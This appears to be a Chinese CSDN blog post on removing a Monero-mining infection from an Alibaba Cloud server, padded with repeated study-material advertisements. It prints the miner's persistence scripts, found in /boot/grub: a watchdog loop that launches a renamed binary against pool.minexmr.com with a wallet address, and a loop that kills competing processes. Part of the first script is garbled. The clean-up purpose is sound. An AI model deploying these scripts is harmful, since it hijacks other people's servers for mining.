最新阿里云服务器出现入侵事件：挖矿进程——pool，2024年最新成功入职阿里

拒绝戎余

于 2024-05-12 18:28:33 发布

阅读量1k

点赞数 15

分类专栏：程序员文章标签：单元测试功能测试学习

本文链接：https://blog.csdn.net/2301_76379671/article/details/138762745

版权

程序员专栏收录该内容

190 篇文章 1 订阅

订阅专栏

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

.bash_history:grep -r pool.minexmr.com
.bash_history:ps -e -o ‘pid,comm,args,pcpu,rsz,vsz,stime,user,uid’ | pool.minexmr.com
.bash_history:grep -r pool.minexmr.com


### 3.打开搜索到的位置

vim /boot/grub/deamon


里面是这样的

#!/bin/bash
#daemon
export PATH= $P A T H : / bin : / u sr / bin : / u sr / l oc a l / bin : / s bin : / u sr / s bin : / u sr / l oc a l / s bin w hi l e t r u e; d oser v er = ‘ p s a ux ∣ g re p^{'} p oo l . min e x m r . co m : 5555 - u 4 A U F 3 p a E 7 o p i w m f U K f b C D M Y vU A P a MZ J re 4 QZ n P ux B v n E h L 5 Cp u V X H 9 t A M e B m Q f S e b QB H Y U w yc A R c h B 8 C o kkV AA e t D n u p Y s j^{'} ∣ g re p - vg re p ‘ i f [! "$ server" ]; then
\cp -rf /boot/grub/grub.tz /usr/sbin/bashd
chmod +x /usr/sbin/bashd
cd /usr/sbin
nohup bashd -a cryptonight -o stratum+tcp://pool.minexmr.com:5555 -u 4AUF3paE7opiwmfUKfbCDMYvUAPaMZJre4QZnPuxBvnEhL5CpuVXH9tAMeBmQfSebQBHYUwycARchB8CokkVAAetDnupYsj -p x &
fi
sleep 15
done


删掉里面的while循环，只保留

#!/bin/bash
#daemon
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin


全局搜索

grep -r pool.minexmr.com


同样干掉

#!/bin/bash
#disk_genius
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true;
do
ps aux --sort=%cpu |grep -v ‘pool.minexmr.com:5555 -u 4AUF3paE7opiwmfUKfbCDMYvUAPaMZJre4QZnPuxBvnEhL5CpuVXH9tAMeBmQfSebQBHYUwycARchB8CokkVAAetDnupYsj’ | awk ‘{if($3 > 40.0 && $NF ~//) print $2}’ |xargs -i kill -9 {}
sleep 3
done


改成

#!/bin/bash
#disk_geniusi
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin


再次搜索




![img](https://img-blog.csdnimg.cn/img_convert/4a561be6178b81a91bfa1624025a85c6.png)
![img](https://img-blog.csdnimg.cn/img_convert/5d0e539dba857bbd8a07be80b95f5f54.png)
![img](https://img-blog.csdnimg.cn/img_convert/7d6a8e9e3ee9bb4a8d791cbdd1633eee.png)

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上软件测试知识点，真正体系化！**

**由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新**

**[需要这份系统化的资料的朋友，可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

讲解视频，并且后续会持续更新**

**[需要这份系统化的资料的朋友，可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**